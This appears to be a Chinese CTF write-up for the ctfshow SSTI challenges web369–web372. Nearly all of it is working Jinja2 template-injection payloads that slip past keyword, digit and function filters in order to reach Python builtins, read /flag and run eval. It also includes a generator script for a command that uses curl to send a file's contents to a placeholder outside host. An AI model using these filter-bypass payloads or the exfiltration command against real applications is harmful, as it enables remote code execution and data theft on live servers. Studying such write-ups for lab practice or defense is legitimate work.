ctfshow SSTI注入 web369--web372

web369

这把request过滤了,只能自己拼字符了

php 复制代码
""[['__clas','s__']|join] 或者 ""[('__clas','s__')|join]
相当于
""["__class__"]
php 复制代码
举个例子,chr(97) 返回的是字符 'a',因为 97 是小写字母 'a' 的 Unicode 编码值。
""chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)
相当于
""__class__
php 复制代码
?name=
{% set po=dict(po=a,p=a)|join%}          //拼接出pop
{% set a=(()|select|string|list)|attr(po)(24)%}         //拼接出_
{% set ini=(a,a,dict(init=a)|join,a,a)|join%}          //拼接出__init__
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}       //拼接出__globals__
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}		//拼接出__getitem__
{% set buil=(a,a,dict(builtins=a)|join,a,a)|join()%}		//拼接出__builtins__
{% set x=(x|attr(ini)|attr(glo)|attr(geti))(buil)%}		
{% set chr=x.chr%}		//使用chr类来进行RCE因为等会要ascii转字符
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}	//拼接出/flag
{%print(x.open(file).read())%}

web370

过滤了数字用全角数字代替半角数字

python 复制代码
def half2full(half):
    full = ''
    for ch in half:
        if ord(ch) in range(33, 127):
            ch = chr(ord(ch) + 0xfee0)
        elif ord(ch) == 32:
            ch = chr(0x3000)
        else:
            pass
        full += ch
    return full
while 1:
    t = ''
    s = input("输入想要转换的数字字符串:")
    for i in s:
        t += half2full(i)
    print(t)
php 复制代码
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

web371

pyhton 复制代码
?name=
{% set c=(t|count)%}           #拼接出0
{% set cc=(dict(e=a)|join|count)%}         1 
{% set ccc=(dict(ee=a)|join|count)%}         2
{% set cccc=(dict(eee=a)|join|count)%}        3
{% set ccccc=(dict(eeee=a)|join|count)%}           4
{% set cccccc=(dict(eeeee=a)|join|count)%}            5 
{% set ccccccc=(dict(eeeeee=a)|join|count)%}          6 
{% set cccccccc=(dict(eeeeeee=a)|join|count)%}		7	
{% set ccccccccc=(dict(eeeeeeee=a)|join|count)%}		8	
{% set cccccccccc=(dict(eeeeeeeee=a)|join|count)%}	9
{% set ccccccccccc=(dict(eeeeeeeeee=a)|join|count)%}	10
{% set cccccccccccc=(dict(eeeeeeeeeee=a)|join|count)%}	11
{% set coun=(ccc~ccccc)|int%}    24
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=
%}
{%if x.eval(cmd)%}
baozongwi    没影响给自己加个标签
{%endif%}

cmd

python 复制代码
def aaa(t):
	t='('+(int(t[:-1:])+1)*'c'+'~'+(int(t[-1])+1)*'c'+')|int'
	return t
s='__import__("os").popen("curl http://xxx:4567?f=`tac /f*`").read()'
def ccchr(s):
	t=''
	for i in range(len(s)):
		if i<len(s)-1:
			t+='chr('+aaa(str(ord(s[i])))+')%2b'
		else:
			t+='chr('+aaa(str(ord(s[i])))+')'
	return t
print(ccchr(s))

研究了一下发现只有curl可以用,nc\ping\weget都不可以

web372

发现count被禁用 使用length代替

复制代码
?name={% set c=(t|length)%}{% set cc=(dict(e=a)|join|length)%}{% set ccc=(dict(ee=a)|join|length)%}{% set cccc=(dict(eee=a)|join|length)%}{% set ccccc=(dict(eeee=a)|join|length)%}{% set cccccc=(dict(eeeee=a)|join|length)%}{% set ccccccc=(dict(eeeeee=a)|join|length)%}{% set cccccccc=(dict(eeeeeee=a)|join|length)%}{% set ccccccccc=(dict(eeeeeeee=a)|join|length)%}{% set cccccccccc=(dict(eeeeeeeee=a)|join|length)%}{% set ccccccccccc=(dict(eeeeeeeeee=a)|join|length)%}{% set cccccccccccc=(dict(eeeeeeeeeee=a)|join|length)%}{% set coun=(ccc~ccccc)|int%}{% set po=dict(po=a,p=a)|join%}{% set a=(()|select|string|list)|attr(po)(coun)%}{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}{% set chr=x.chr%}{% set cmd=  %}{%if x.eval(cmd)%}{%endif%}

拓展知识,与本题无关

半角字符改全角字符

复制代码
半角字符:包和bao123

全角字符:包和bao123有点看不出来,就看这个bao123
python 复制代码
def half2full(half):  
    full = ''  
    for ch in half:  
        if ord(ch) in range(33, 127):  
            ch = chr(ord(ch) + 0xfee0)  
        elif ord(ch) == 32:  
            ch = chr(0x3000)  
        else:  
            pass  
        full += ch  
    return full  
t=''
s="bao"
for i in s:
    t+='\''+half2full(i)+'\','
print(t)
相关推荐
草莓熊Lotso15 分钟前
【C语言操作符详解(一)】--进制转换,原反补码,移位操作符,位操作符,逗号表达式,下标访问及函数调用操作符
c语言·经验分享·笔记
OpenC++19 分钟前
【C++QT】Layout 布局管理控件详解
c++·经验分享·qt·leetcode
A达峰绮1 小时前
设计一个新能源汽车控制系统开发框架,并提供一个符合ISO 26262标准的模块化设计方案。
大数据·开发语言·经验分享·新能源汽车
Dovis(誓平步青云)4 小时前
【数据结构】·励志大厂版(复习+刷题):二叉树
c语言·数据结构·经验分享·笔记·学习·算法·学习方法
赵谨言13 小时前
基于自然语言处理的文本生成模型设计
经验分享·毕业设计
赵谨言14 小时前
基于物联网的园林防火监测系统
经验分享·毕业设计
竹木一54016 小时前
Docker拉取镜像代理配置实践与经验分享
经验分享·docker·容器
Hello kele16 小时前
解构与重构:“整体部分”视角下的软件开发思维范式
大数据·经验分享·程序员·重构·项目管理·人月神话·沟通困局
神经毒素16 小时前
WEB安全--RCE--webshell bypass
网络·安全·web安全
我的golang之路果然有问题16 小时前
案例速成GO+redis 个人笔记
经验分享·redis·笔记·后端·学习·golang·go